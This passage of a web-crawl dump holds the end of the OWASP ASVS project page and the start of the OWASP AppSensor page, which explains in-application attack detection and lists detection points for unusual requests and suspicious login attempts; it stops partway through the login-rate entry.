Cornell, Shouvik Bardhan, Dr. Sarbari Gupta, Eoin Keary, Richard Campbell, Matt Presson, Jeff LoSapio, Liz Fong, George Lawless, Dave van Stein, Terrie Diaz, Ketan Dilipkumar Vyas, Bedirhan Urgun, Dr. Thomas Braun, Colin Watson, Jeremiah Grossman.\n\n## OWASP Summer of Code 2008\n\nThe OWASP Foundation sponsored the OWASP Application Security Verification Standard Project during the OWASP Summer of Code 2008.\n\n---\n\n# Volunteer for the ASVS\n\n## Building the standard\n\nWe are always looking for people to help out with building the standards and discussing what should be in there.\n\nYou can find information on contributing to the standard in the [Contribution Guide](https://github.com/OWASP/ASVS/blob/master/CONTRIBUTING.md).\n\n## Helping in other ways\n\nWe are looking for volunteers to help with the following tasks. We are working on the ASVS all year around and you should expect to have to spend a few hours a week working on your tasks on average. Some of the tasks may be more intensive such as building scripts or GitHub actions.\n\nIf any of these roles sound like a good fit for you, please get in touch! Students and non-tech people are welcome to apply, especially folks in the community who are trying to get into the security space but don’t know how, as being involved in an OWASP project like this can provide valuable experience.\n\nThe latest list of roles is here:\n\n[Public ASVS jobs board](https://docs.google.com/document/d/1VUgbA1xjwRaOL9o8SYQqoGGrFNNobmid_FGS-ELVAzA)\n\nYou can submit your interest here:\n\n[Volunteer for the ASVS!](https://docs.google.com/forms/d/e/1FAIpQLSda9V7dJ6h-YVsVRogi1hJGlhDANZXdUUyk7XQuaPpscKv2Bg/viewform)\n\n---\n\n## ASVS Users\n\n### CREST OWASP Verification Standard (OVS) Programme\n\nThe [CREST OWASP OVS Programme](https://www.crest-approved.org/membership/crest-ovs-programme/) accredits companies that provide app security testing services to the application development industry. The testing to be performed is based on the ASVS (and MASVS) projects.\n\n### App Defense Alliance\n\nThe [App Defense Alliance](https://www.appdefensealliance.org/) has based its [Web App Profile](https://www.appdefensealliance.org/profiles/web-app-profile) on the ASVS project.\n\n### Other users\n\nA broad range of companies and agencies around the globe have added ASVS to their software assurance tool boxes, including:\n\n- [Booz Allen Hamilton](https://www.boozallen.com)\n- [CGI Federal](https://www.cgi.com/us/en-us/federal)\n- [Denim Group](https://denimgroup.com)\n- [Etebaran Informatics](https://etebaran.com)\n- [Inspectiv](https://www.inspectiv.com/) - “We use ASVS in our pen tests in order to have a comprehensive, vendor neutral, guideline for testing the security of applications and websites.”\n- [Minded Security](https://www.mindedsecurity.com)\n- [Nixu](https://www.nixu.com)\n- [NVISO](https://nviso.eu) - “We use the ASVS as a baseline for our Web Application Penetration Tests.”\n- [Pensive Security](https://pensivesecurity.io)\n- [ps_testware](https://www.pstestware.com/)\n- [Proactive Risk](https://www.proactiverisk.com)\n- [Quince Associates Limited (SeeMyData)](https://quince.co.uk)\n- [ReqView](https://www.reqview.com/) - “We use the ASVS as a document template in ReqView requirements management tool and demonstrate its usage in our Example project.”\n- [Serviço Federal de Processamento de Dados (SERPRO)](https://www.serpro.gov.br/)\n- [Universidad Distrital Francisco José de Caldas](https://www.udistrital.edu.co/)\n\nOrganizations listed are not accredited by OWASP. Neither their products or services have been endorsed by OWASP. Use of ASVS may include for example providing verification services using the standard. Use of ASVS may also include for example performing internal evaluation of products with the OWASP ASVS in mind, and NOT making any claims of meeting any given level in the standard. Please let us know how your organization is using OWASP ASVS. Include your name, organization’s name, and brief description of how you use the standard. The project leads can be reached using the contact details on the main page.\n\n---\n\n[Watch](https://github.com/owasp/www-project-application-security-verification-standard/subscription) [Star](https://github.com/owasp/www-project-application-security-verification-standard)", "znaku_textu": 16837, "slov": 2317, "odkazu": 119, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "https://owasp.org/www-project-application-security-verification-standard", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:16:27", "sha256": "6dba248ccfaed4015a43385aaf8c8fa8019d6f0f14e20a7acaae2d71533e9cb2", "hloubka": 0, "zdroj_objevu": "seed", "ze_seznamu": true, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://creativecommons.org/licenses/by-sa/4.0/", "https://www.owasp.org/index.php/Category:OWASP_Project", "https://twitter.com/OWASP_ASVS", "https://www.linkedin.com/company/owasp-asvs/", "https://appsecg.host/fundasvs", "https://github.com/OWASP/ASVS/tree/v5.0.0", "https://github.com/OWASP/ASVS", "https://top10proactive.owasp.org/", "https://cheatsheetseries.owasp.org/index.html", "https://www.linkedin.com/in/shanni-prutchi/", "https://www.linkedin.com/in/ryarmst/", "https://sched.co/1lIO2", "https://sched.co/1g3Wd", "https://sched.co/1g3aZ", "https://www.linkedin.com/in/aramhovsep/", "https://sched.co/1g3ac", "https://www.linkedin.com/in/matthewaderhold/", "https://appsecg.host/asvsgetinvolved", "https://owaspglobalappseclisbon2024.sched.com/type/ASVS+Community+Meetup/", "https://jit.io/", "https://www.jit.io/", "https://www.clarifiedsecurity.com/", "https://www.bouncesecurity.com/", "https://www.manicode.com/", "https://web.archive.org/web/20250000000000*/https://owaspprojectsummit.org/", "https://github.com/OWASP/ASVS/tree/v4.0.3", "https://github.com/OWASP/ASVS/tree/v4.0.2", "https://github.com/OWASP/ASVS/tree/v4.0.1/4.0", "https://docs.google.com/spreadsheets/d/1ic7gsib--Cn4ujrA8rhvzuUmMFpQ2Jkl96SZDCEtqJg/edit?ts=5a6bafe1", "https://github.com/OWASP/ASVS/blob/master/CONTRIBUTING.md", "https://docs.google.com/document/d/1VUgbA1xjwRaOL9o8SYQqoGGrFNNobmid_FGS-ELVAzA", "https://docs.google.com/forms/d/e/1FAIpQLSda9V7dJ6h-YVsVRogi1hJGlhDANZXdUUyk7XQuaPpscKv2Bg/viewform", "https://www.crest-approved.org/membership/crest-ovs-programme/", "https://www.appdefensealliance.org/", "https://www.appdefensealliance.org/profiles/web-app-profile", "https://www.boozallen.com/", "https://www.cgi.com/us/en-us/federal", "https://denimgroup.com/", "https://etebaran.com/", "https://www.inspectiv.com/", "https://www.mindedsecurity.com/", "https://www.nixu.com/", "https://nviso.eu/", "https://pensivesecurity.io/", "https://www.pstestware.com/", "https://www.proactiverisk.com/", "https://quince.co.uk/", "https://www.reqview.com/", "https://www.serpro.gov.br/", "https://www.udistrital.edu.co/", "https://github.com/owasp/www-project-application-security-verification-standard/subscription", "https://github.com/owasp/www-project-application-security-verification-standard", "https://github.com/OWASP/ASVS/tree/v5.0.0/5.0", "https://github.com/OWASP/ASVS/tree/master/5.0", "https://github.com/OWASP/ASVS/tree/v4.0.3/4.0", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_en.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/docs_en/OWASP_Application_Security_Verification_Standard_5.0.0_en.docx", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/docs_en/OWASP_Application_Security_Verification_Standard_5.0.0_en.csv", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_tr.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_ru.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_fr.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_ko.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_pt.pdf", "https://github.com/OWASP/ASVS/raw/v5.0.0/5.0/OWASP_Application_Security_Verification_Standard_5.0.0_id.pdf", "https://github.com/OWASP/ASVS/blob/master/4.0/TRANSLATIONS.md", "https://www.linkedin.com/in/hugo75costa/", "https://github.com/OWASP/www-project-application-security-verification-standard/tree/master/brand/", "https://github.com/EnigmaRosa", "https://github.com/csfreak92", "https://github.com/meghanjacquot", "https://github.com/ImanSharaf", "https://github.com/ryarmst", "https://github.com/randomstuff", "https://github.com/TobiasAhnoff", "https://github.com/cronchie", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-appsensor/", "titulek": "OWASP AppSensor | OWASP Foundation", "h1": "OWASP AppSensor", "popis": "OWASP AppSensor on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-appsensor/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "OWASP AppSensor on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "OWASP AppSensor | OWASP Foundation", "og:url": "https://owasp.org/www-project-appsensor/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP AppSensor"}, {"uroven": 1, "text": "AppSensor"}, {"uroven": 2, "text": "Example"}, {"uroven": 2, "text": "Concepts"}, {"uroven": 1, "text": "Application Layer Intrusion Detection"}, {"uroven": 2, "text": "Detection Points"}, {"uroven": 1, "text": "About This Document"}, {"uroven": 1, "text": "Detection Points"}, {"uroven": 2, "text": "RequestException"}, {"uroven": 3, "text": "RE1: Unexpected HTTP Command"}, {"uroven": 3, "text": "RE2: Attempt to Invoke Unsupported HTTP Method"}, {"uroven": 3, "text": "RE3: GET When Expecting POST"}, {"uroven": 3, "text": "RE4: POST When Expecting GET"}, {"uroven": 3, "text": "RE5: Additional/Duplicated Data in Request"}, {"uroven": 3, "text": "RE6: Data Missing from Request"}, {"uroven": 3, "text": "RE7: Unexpected Quantity of Characters in Parameter"}, {"uroven": 3, "text": "RE8: Unexpected Type of Characters in Parameter"}, {"uroven": 2, "text": "AuthenticationException"}, {"uroven": 3, "text": "AE1: Use of Multiple Usernames"}, {"uroven": 3, "text": "AE2: Multiple Failed Passwords"}, {"uroven": 3, "text": "AE4: Unexpected Quantity of Characters in Username"}, {"uroven": 3, "text": "AE5: Unexpected Quantity of Characters in Password"}, {"uroven": 3, "text": "AE6: Unexpected Type of Character in Username"}, {"uroven": 3, "text": "AE7: Unexpected Type of Character in Password"}, {"uroven": 3, "text": "AE8: Providing Only the Username"}, {"uroven": 3, "text": "AE9: Providing Only the Password"}, {"uroven": 3, "text": "AE10: Additional POST Variable"}, {"uroven": 3, "text": "AE11: Missing POST Variable"}, {"uroven": 3, "text": "AE12: Utilization of Common Usernames"}, {"uroven": 3, "text": "AE13: Deviation from Normal GEO Location"}, {"uroven": 2, "text": "SessionException"}, {"uroven": 3, "text": "SE5: Source Location Changes During Session"}, {"uroven": 3, "text": "SE6: Change of User Agent Mid Session"}, {"uroven": 2, "text": "AccessControlException"}, {"uroven": 3, "text": "ACE1: Modifying URL Argument Within a GET for Direct Object Access Attempt"}, {"uroven": 3, "text": "ACE2: Modifying Parameter Within A POST for Direct Object Access Attempt"}, {"uroven": 3, "text": "ACE3: Force Browsing Attempt"}, {"uroven": 3, "text": "ACE4: Evading Presentation Access Control Through Custom POST"}, {"uroven": 2, "text": "InputException"}, {"uroven": 3, "text": "IE1: Cross Site Scripting Attempt"}, {"uroven": 3, "text": "IE2: Violation Of Implemented White Lists"}, {"uroven": 3, "text": "IE3: Violation Of Implemented Black Lists"}, {"uroven": 3, "text": "IE4: Violation of Input Data Integrity"}, {"uroven": 3, "text": "IE5: Violation of Stored Business Data Integrity"}, {"uroven": 3, "text": "IE6: Violation of Security Log Integrity"}, {"uroven": 3, "text": "IE7: Detect Abnormal Content Output Structure"}, {"uroven": 2, "text": "EncodingException"}, {"uroven": 3, "text": "EE1: Double Encoded Character"}, {"uroven": 3, "text": "EE2: Unexpected Encoding Used"}, {"uroven": 2, "text": "CommandInjectionException"}, {"uroven": 3, "text": "CIE1: Blacklist Inspection for Common SQL Injection Values"}, {"uroven": 3, "text": "CIE2: Detect Abnormal Quantity of Returned Records"}, {"uroven": 3, "text": "CIE3: Null Byte Character in File Request"}, {"uroven": 3, "text": "CIE4: Carriage Return or Line Feed Character in File Request"}, {"uroven": 2, "text": "FileIOException"}, {"uroven": 3, "text": "FIO1: Detect Large Individual File"}, {"uroven": 3, "text": "FIO2: Detect Large Number of File Uploads"}, {"uroven": 2, "text": "Honey Trap"}, {"uroven": 3, "text": "HT1: Alteration to Honey Trap Data"}, {"uroven": 3, "text": "HT2: Honey Trap Resource Requested"}, {"uroven": 3, "text": "HT3: Honey Trap Data Used"}, {"uroven": 2, "text": "UserTrendException"}, {"uroven": 3, "text": "UT1: Irregular Use of Application"}, {"uroven": 3, "text": "UT2: Speed of Application Use"}, {"uroven": 3, "text": "UT3: Frequency of Site Use"}, {"uroven": 3, "text": "UT4: Frequency of Feature Use"}, {"uroven": 2, "text": "SystemTrendException"}, {"uroven": 3, "text": "STE1: High Number of Logouts Across The Site"}, {"uroven": 3, "text": "STE2: High Number of Logins Across The Site"}, {"uroven": 3, "text": "STE3: Significant Change in Usage of Same Transaction Across The Site"}, {"uroven": 2, "text": "Reputation"}, {"uroven": 3, "text": "RP1: Suspicious or Disallowed User Source Location"}, {"uroven": 3, "text": "RP2: Suspicious External User Behavior"}, {"uroven": 3, "text": "RP3: Suspicious Client-Side Behavior"}, {"uroven": 3, "text": "RP4: Change to Environment Threat Level"}, {"uroven": 2, "text": "Response Actions"}, {"uroven": 1, "text": "About This Document"}, {"uroven": 1, "text": "Overview"}, {"uroven": 1, "text": "Detailed Listing"}, {"uroven": 2, "text": "Silent"}, {"uroven": 3, "text": "ASR-P: No Response"}, {"uroven": 3, "text": "ASR-A: Logging Change"}, {"uroven": 3, "text": "ASR-B: Administrator Notification"}, {"uroven": 3, "text": "ASR-C: Other Notification"}, {"uroven": 3, "text": "ASR-N: Proxy"}, {"uroven": 2, "text": "Passive"}, {"uroven": 3, "text": "ASR-D: User Status Change"}, {"uroven": 3, "text": "ASR-E: User Notification"}, {"uroven": 3, "text": "ASR-F: Timing Change"}, {"uroven": 2, "text": "Active"}, {"uroven": 3, "text": "ASR-G: Process Terminated"}, {"uroven": 3, "text": "ASR-H: Function Amended"}, {"uroven": 3, "text": "ASR-I: Function Disabled"}, {"uroven": 3, "text": "ASR-J: Account Logout"}, {"uroven": 3, "text": "ASR-K: Account Lockout"}, {"uroven": 3, "text": "ASR-L: Application Disabled"}, {"uroven": 2, "text": "Intrusive"}, {"uroven": 3, "text": "ASR-M: Collect Data from User"}], "markdown": "# OWASP AppSensor\n\n# AppSensor\n\nThe AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement application layer intrusion detection and automated response. In addition, there is a reference implementation that provides a toolkit for building self-defending applications through real-time event detection and response [appsensor github](https://github.com/jtmelton/appsensor).\n\nThe book describing the framework and methodology are available via [PDF](https://owasp.org/www-pdf-archive/Owasp-appsensor-guide-v2.pdf) or as a physical book on [Lulu](https://www.lulu.com/en/us/shop/owasp-foundation/appsensor-guide/paperback/product-1v92q7d8.html?page=1&pageSize=4)\n\nThere is more detailed information about the concepts as well as a getting started set of docs for developers at [appsensor.org](http://www.appsensor.org/)\n\n---\n\n## Example\n\nPut whatever you like here: news, screenshots, features, supporters, or remove this file and don’t use tabs at all.\n\n---\n\n## Concepts\n\n# Application Layer Intrusion Detection\n\nToday’s applications are responsible for securely performing critical operations for individuals and businesses around the world. From transferring money, to managing health records, web enabled applications handle immense amounts of sensitive data each day. Despite the critical role they play, the security defenses within these applications are seriously lacking. The attackers are organized, motivated, and backed by a network of resources and talent. If our applications have any hope of standing up to such formidable opponents, then we need to move beyond just attempting to design our applications securely. We need to implement robust attack detection within the application to identify malicious users before they are successful in their attack. Just like in the real world, we would prefer to detect and prevent an attack instead of just responding after a compromise has occurred.\n\nHow do we bridge the technology gap to implement appropriate security controls in our critical applications? The first step is to realize that in order to detect and respond to malicious activity at the application layer we need to be able to monitor and understand a user’s actions within the application. Security approaches of previous years are not sufficient. A firewall provides no protection; its purpose is to allow users to access the application. Nor does a network based IDS system since it will have no insight to our application specific traffic. Antivirus is also out of the question since this is a signature based approach that knows nothing of custom web application vulnerabilities.\n\nWe need to move into the application layer to understand our attackers. One potential solution is a web application firewall (WAF). A WAF is able to detect generic application attacks such as basic SQL injection attacks or common actions of a known attack sequence. While some detection is better than none, a generic product could never fully understand the intricacies of each custom web application. This approach is just not sufficient to properly protect critical applications that process sensitive financial data or personal user information. Imagine trying to design an effective building alarm system without any knowledge of how the building is designed or even where the doors and windows are located.\n\nThe solution is to design and integrate a detection and response system into the application itself. Within the application we have a full understanding of the user initiating an action, the target of that action and whether that action should be allowed for that user. Inside the application our protection system can identify advanced attacks that are attempting to exploit specific features of our application. Within the application we can easily identify attempts to circumvent security controls or use the application in an unintended manner. After we have determined that a particular user has malicious intent and is attempting to identify weaknesses in our system, we can immediately respond and block the user from future access to the application, or take whatever other action is appropriate. Once locked out, such users can no longer login and are limited to attacking the perimeter of an application, which often contains limited functionality and is typically well secured. Alternatively, some organizations may wish to forego an automated lockout response and instead generate an attack alert and allow their security-monitoring center to perform an immediate investigation and decide upon the appropriate response.\n\nThe rigor of response is a decision for each organization in relation to their tolerance for risk and specific needs for an application. However, it is clear that this level of detection capability is a must for any organization wishing to prevent skilled and persistent attackers from compromising their critical applications.\n\nOWASP AppSensor\n\nOWASP is committed to the protection of applications through application attack detection and automated response. The OWASP AppSensor project has been established in response to the clear need for guidance and knowledge in this area.\n\nAppSensor provides the following:\n\n- Recommendations for what application actions should be detected as malicious along with suggested responses\n- Guidance on designing and implementing an attack detection and response system within an application\n- A Java reference implementation that you can integrate into your application as the basis for your Application Layer Intrusion Detection and Response mechanism\n\n---\n\n## Detection Points\n\n# About This Document\n\nThese detection points are part of the [OWASP\nAppSensor](http://www.owasp.org/index.php/Category:OWASP_AppSensor_Project)\nproject which advocates bringing intelligent intrusion detection inside\nthe application. These detection points can be used to identify a\nmalicious user that is probing for vulnerabilities or weaknesses within\nyour application.\n\n[Read\nmore](http://www.owasp.org/index.php/ApplicationLayerIntrustionDetection)\nabout why application logging is the way to go.\n\n**TOC**\n\n# Detection Points\n\n## RequestException\n\n### RE1: Unexpected HTTP Command\n\n| ID | RE1 |\n| --- | --- |\n| Title | Unexpected HTTP Command |\n| Category | RequestException |\n| Description | An HTTP request is received which contains unexpected/disallowed\ncommands. |\n| Considerations | A list of accepted commands should be generated (i.e. GET and POST) and\nall other HTTP commands should generate an event. See [HTTP/1.1: Method\nDefinitions](http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html). |\n| Tuning | Browsers and proxies using the HEAD method to check whether the content\nof a file has changed. |\n| Examples | Instead of a GET or POST request, the user sends a TRACE request to the\napplication.\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (30b) HTTP Policy Enforcement: Method Is Not Allowed by Policy\n (960032)\n - (40e) AppSensor Detection Points: Invalid Request Method for\n Resource (981088) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE1#php) |\n\n### RE2: Attempt to Invoke Unsupported HTTP Method\n\n| ID | RE2 |\n| --- | --- |\n| Title | Attempt to Invoke Unsupported HTTP Method |\n| Category | RequestException |\n| Description | An HTTP request is received which contains a non-existent HTTP command\n(does not match anything in this list: HEAD, GET, POST, PUT, DELETE,\nTRACE, OPTIONS, CONNECT). |\n| Considerations | \\- |\n| Tuning | \\- |\n| Examples | Instead of a GET or POST request, the user sends a TEST request to the\napplication (TEST is not a valid HTTP request method).\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (40e) AppSensor Detection Points: Attempt to Invoke Unsupported\n HTTP Method (981087) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE2#php) |\n\n### RE3: GET When Expecting POST\n\n| ID | RE3 |\n| --- | --- |\n| Title | GET When Expecting POST |\n| Category | RequestException |\n| Description | A page which is expecting only POST requests, is requested by HTTP\nmethod GET. |\n| Considerations | Some pages may be designed to receive both GET and POST requests. |\n| Tuning | Some resources may allow both GET and POST methods e.g. an edit form may\nbe hyperlinked using a parameter value defining the record to be edited,\nbut the form is submitted by POST to itself. Users may bookmark a page\nthat is the result of a POST and return to it at a later date. |\n| Examples | The user sends a GET request to a page which has only been used for\nPOSTs. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE3#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE3#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE3#php) |\n\n### RE4: POST When Expecting GET\n\n| ID | RE4 |\n| --- | --- |\n| Title | POST When Expecting GET |\n| Category | RequestException |\n| Description | A page which is expecting only GET requests, receives a POST. |\n| Considerations | \\- |\n| Tuning | (same as RE3) |\n| Examples | The user utilizes a proxy tool to build a custom POST request and sends\nit to a page which has been accessed by GET requests. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE4#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE4#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE4#php) |\n\n### RE5: Additional/Duplicated Data in Request\n\n| ID | RE5 |\n| --- | --- |\n| Title | Additional/Duplicated Data in Request |\n| Category | RequestException |\n| Description | Additional unexpected parameters or HTTP headers, or duplicates, are\nreceived with the request. |\n| Considerations | Additional parameters may be an attempt to override values or to exploit\nunexposed functionality. Duplicated parameters may be an indication of\nattempted HTTP parameter pollution.\n\nBeware of firing this detector when additional cookies, not used by the\napplication, are found (as opposed to duplicated cookies) since these\nmay relate to third-party code (e.g. advertisements, analytics) or some\nother application.\n\nNote that extra HTTP headers may be added by intermediate proxies, and\nunless the network configuration is fixed (an internal network perhaps),\nadditional headers cannot be controlled and thus cannot be used to infer\nexistence of a potential attacker. |\n| Tuning | Links from third party sites/services may included additional parameters\n(e.g. from search engines, from advertisements). Additional cookies\nheaders may be added by other applications or by third parties such as\nadvertisers, and there may be very little control over these. Additional\nHTTP headers may be added by intermediate network devices (e.g. for\ntraffic management). |\n| Examples | Example 1: Additional form or URL parameters submitted with request\n(e.g. debug=1, servervariable=2000).\n\nExample 2: A parameter is defined more than once in the URL Query\nString.\n\nExample 3: An HTTP header is duplicated.\n\nExample 4: An additional HTTP header is found.\n\nExample 5: A URL path parameter with the same name as a form parameter\nis sent with the request.\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (40e) AppSensor Detection Points: Invalid Number of Parameters -\n Missing Parameter(s) (981089)\n - (40e) AppSensor Detection Points: Invalid Number of Parameters -\n Additional Parameter(s) (981090)\n - (40e) AppSensor Detection Points: Invalid Parameter Name(s)\n (981091) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE5#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE5#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE5#php) |\n\n### RE6: Data Missing from Request\n\n| ID | RE6 |\n| --- | --- |\n| Title | Data Missing from Request |\n| Category | RequestException |\n| Description | Expected parameters or HTTP headers are missing from the request. |\n| Considerations | Bookmarking and use of a browser's \"back button\" can lead to requests\nwithout the expected parameters. |\n| Tuning | A bookmarked page may be missing the required POST parameters (see also\nRE3). Users may choose to send a blank or different User Agent header\nvalue. |\n| Examples | Example 1: A page is requested without any of the required form\nparameters.\n\nExample 2: The HTTP-Accept header is not present in a request. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE6#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE6#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE6#php) |\n\n### RE7: Unexpected Quantity of Characters in Parameter\n\n| ID | RE7 |\n| --- | --- |\n| Title | Unexpected Quantity of Characters in Parameter |\n| Category | RequestException |\n| Description | The user provides a parameter value with a large number of characters. |\n| Considerations | \\- |\n| Tuning | If the input field does not have client-side validation and/or MAXLENGTH\nattributes, a user might inadvertently copy in some text that is longer\nthan expected. |\n| Examples | Example 1: The user submits a form field with more characters than the\nform's maxlength attribute and client-side validation would allow.\n\nExample 2: The user submits data in a form's hidden field which is\nlonger than expected.\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (40e) AppSensor Detection Points: Invalid Parameter Length -\n Value Is Below Normal Range (981092)\n - (40e) AppSensor Detection Points: Invalid Parameter Length -\n Value Is Above Normal Range (981093) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE7#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE7#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE7#php) |\n\n### RE8: Unexpected Type of Characters in Parameter\n\n| ID | RE8 |\n| --- | --- |\n| Title | Unexpected Type of Characters in Parameter |\n| Category | RequestException |\n| Description | The user provides a parameter value containing characters outwith the\nexpected range. |\n| Considerations | \\- |\n| Tuning | Text fields may include text from copy and paste operations that contain\nillegal characters. |\n| Examples | Example 1: The user sends an HTTP header containing a line break\ncharacter.\n\nExample 2: The user sends a URL parameter value that contains ASCII\ncharacters below 20 or above 7E.\n\nCross references:\n\n - [OWASP ModSecurity Core Rule Set\n Project](:Category:OWASP_ModSecurity_Core_Rule_Set_Project \"wikilink\")\n v2.2.7\n - (40e) AppSensor Detection Points: Invalid Character(s) in\n Payload - Expecting Digits (981094)\n - (40e) AppSensor Detection Points: Invalid Character(s) in\n Payload - Expecting Letters (981095)\n - (40e) AppSensor Detection Points: Invalid Character(s) in\n Payload - Expecting AlphNumeric (981096)\n - (40e) AppSensor Detection Points: Invalid Character(s) in\n Payload - Expecting Email (981097)\n - (40e) AppSensor Detection Points: Invalid Character(s) in\n Payload - Expecting Path (981103)\n - (40e) AppSensor Detection Points: Invalid Character(s) in\n Payload - Expecting Url (981104)\n - (40e) AppSensor Detection Points: Invalid Character(s) in\n Payload - Expecting Flag (981110)\n - (40e) AppSensor Detection Points: Invalid Character(s) in\n Payload - Expecting SafeText (981105) |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE8#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE8#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_RE8#php) |\n\n## AuthenticationException\n\n### AE1: Use of Multiple Usernames\n\n| ID | AE1 |\n| --- | --- |\n| Title | Use of Multiple Usernames |\n| Category | AuthenticationException |\n| Description | Multiple usernames are attempted when logging into the application. |\n| Considerations | The assignment of login attempts to a user can be based on a sessionID\ngiven to the user when they first visit the website. Correlating based\non IP address is difficult since multiple users could be using the site\nfrom the same IP address (e.g. corporate NAT). |\n| Tuning | \\- |\n| Examples | User first tries username 'bob', then username 'sue', then 'steve', etc. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE1#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE1#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE1#php) |\n\n### AE2: Multiple Failed Passwords\n\n| ID | AE2 |\n| --- | --- |\n| Title | Multiple Failed Passwords |\n| Category | AuthenticationException |\n| Description | For a single username, multiple bad passwords, or other authentication\ncredentials, are entered. |\n| Considerations | See [Popularity is\nEverything](http://www.eecs.harvard.edu/~michaelm/postscripts/hotsec2010.pdf)\nsection 4 - Attack-Detection Scenarios for ideas about tracking use of\nunsuccessful passwords and looking whether these are used against\nmultiple accounts. |\n| Tuning | A users providing the same wrong password more than once may be\ndifferent to different wrong passwords. See [Account Lockout, Bill\nCheswick, Episode 76, OWASP Podcast,\nSeptember 22, 2010](http://www.owasp.org/index.php/OWASP_Podcast#tab=Latest_Shows). |\n| Examples | Example 1: User tries username:password combination of 'user:pass1',\n'user:pass2', 'user:pass3', etc.\n\nExample 2: Multiple failed PINs are attempted for the same customer\naccount.\n\nExample 3: In an online banking application, several invalid mobile\nauthentication codes, transaction verification codes or transaction\nauthentication numbers are submitted.\n\nExample 4: A user provides the correct password, but repeatedly fails to\nprovide the required second password correctly. |\n| Code | [Java](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE2#java)\n[.Net](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE2#net)\n[PHP](http://www.owasp.org/index.php/AppSensor_DetectionPoint_AE2#php) |\n\n| ID | AE3 |\n| --- | --- |\n| Title | High Rate of Login Attempts |\n| Category | AuthenticationException |\n| Description | The rate of login attempts becomes too high (possibly indicating an\nautomated login attack). |\n| Considerations | The threshold should relate to a limit and period appropriate to the\napplication (e.g. total number in a second or minute or hour). |\n| Tuning | \\- |\n| Examples | User sends the following login attempts within 1 second - 'user1:pass1',\n'user1:pass2', 'user2:pass3', 'user2:pass4'. |\n| Code | 